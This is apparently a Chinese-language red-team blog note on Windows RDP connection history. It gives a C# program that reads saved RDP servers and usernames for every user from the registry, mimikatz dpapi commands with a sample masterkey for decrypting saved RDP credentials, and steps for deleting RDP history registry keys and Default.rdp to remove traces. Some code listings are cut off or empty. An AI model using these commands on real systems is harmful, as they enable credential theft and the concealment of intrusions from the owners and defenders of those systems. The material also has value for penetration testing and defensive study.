关于 windows的 RDP连接历史记录处理,此处仅作为笔记记录,并非原创。
0x00 前言
每次成功连接到远程主机时,RDP 客户端都会保存远程主机的名称(或IP地址)以及用于登陆的用户名。再次启动mstsc.exe
时,可以直接从列表中选择远程RDP服务器的名称,并且客户端已自动填写用于登陆的用户名。
从安全角度来讲,这是极不安全的。
0x01 获取RDP连接历史记录
PS:代理连接并不存在任何的 RDP 外连
记录。
至于获得历史记录的思路及细节实现思路,请转至三好学生师傅的博客,此处仅作为记录。
1 | <# |
根据三好学生师傅的 PowerShell 改写了 C# 版本,虽然代码不怎么好看。1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98using System;
using Microsoft.Win32;
namespace SavedRDPConnections
{
class Program
{
public static string GetRegValue(string hive, string path, string value)
{
string regKeyValue = "";
if (hive == "HKCU")
{
var regKey = Registry.CurrentUser.OpenSubKey(path);
if (regKey != null)
{
regKeyValue = String.Format("{0}", regKey.GetValue(value));
}
return regKeyValue;
}
else if (hive == "HKU")
{
var regKey = Registry.Users.OpenSubKey(path);
if (regKey != null)
{
regKeyValue = String.Format("{0}", regKey.GetValue(value));
}
return regKeyValue;
}
else
{
var regKey = Registry.LocalMachine.OpenSubKey(path);
if (regKey != null)
{
regKeyValue = String.Format("{0}", regKey.GetValue(value));
}
return regKeyValue;
}
}
public static string[] GetRegSubkeys(string hive, string path)
{
try
{
Microsoft.Win32.RegistryKey myKey = null;
if (hive == "HKLM")
{
myKey = Registry.LocalMachine.OpenSubKey(path);
}
else if (hive == "HKU")
{
myKey = Registry.Users.OpenSubKey(path);
}
else
{
myKey = Registry.CurrentUser.OpenSubKey(path);
}
String[] subkeyNames = myKey.GetSubKeyNames();
return myKey.GetSubKeyNames();
}
catch
{
return new string[0];
}
}
public static void ListSavedRDPConnections()
{
string[] SIDs = Registry.Users.GetSubKeyNames();
foreach (string SID in SIDs)
{
if (SID.StartsWith("S-1-5") && !SID.EndsWith("_Classes"))
{
string[] subkeys = GetRegSubkeys("HKU", String.Format("{0}\\Software\\Microsoft\\Terminal Server Client\\Servers", SID));
if (subkeys != null)
{
Console.WriteLine("\r\n\r\n=== Saved RDP Connection Information ({0}) ===", SID);
foreach (string host in subkeys)
{
string username = GetRegValue("HKCU", String.Format("Software\\Microsoft\\Terminal Server Client\\Servers\\{0}", host), "UsernameHint");
Console.WriteLine("\r\n Server : {0}", host);
if (username != "")
{
Console.WriteLine(" User : {0}", username);
}
}
}
}
}
}
static void Main(string[] args)
{
ListSavedRDPConnections();
}
}
}
0x02 破解RDP连接凭证
破解RDP连接凭证的前提是用户在连接远程主机时勾选了保存保存凭证。
1、查找本地的Credentials
1 | dir /a %userprofile%\AppData\Local\Microsoft\Credentials\* |
2、使用mimikatz进行操作
1 | mimikatz dpapi::cred /in:C:\Users\allen\AppData\Local\Microsoft\Credentials\AB07963F1A0A1CB56827E93395597FC6 |
得到的内容为:
1 | mimikatz # dpapi::cred /in:C:\Users\allen\AppData\Local\Microsoft\Credentials\AB07963F1A0A1CB56827E93395597FC6 |
接下来需要使用的就是guidMasterKey
、pbData
数据。pbData是凭据的加密数据,guidMasterKey是凭据的GUID
3、使用sekurlsa::dpapi
根据目标凭据GUID: {ffc994a1-de8d-4304-9416-31e587f7a8ca}
找到其关联的MasterKey
,这个MasterKey
就是加密凭据的密钥,即解密pbData
所必须的东西。
4、解密
命令为:
1 | dpapi::cred /in:C:\Users\allen\AppData\Local\Microsoft\Credentials\AB07963F1A0A1CB56827E93395597FC6 /masterkey:e01320a53bf9d57da1163c7723a5b3901df5a3fc8e504fc021def2637d19d34c0084a3ac2a0daab3fb9af3f98c48a9a901627dc4b10db087cb357e1d2f8aa18c |
0x03 清除RDP连接历史记录
清除就相对简单一些。
1 | HKCU:\Software\Microsoft\Terminal Server Client\ |
针对上述的Default
、Server
,对其表项进行删除
tips:由于在删除Server表项
的时候无法一次选择所有表项,因为可以直接删除整个Server
再新建。
除了删除注册表之外,要需要删除默认的RDP连接文件
1 | @echo off |
注意:在某些情况(比如系统盘空间不足)下,Document
文件夹会从%userprofile%\documents\
移动,所以特殊情况下,需要手动查找Default.rdp
0x04 关于 连入
记录
上面几点都是根据本地主机连接远程主机的相关记录操作。第四点则是记录关于远程主机的操作。
1 |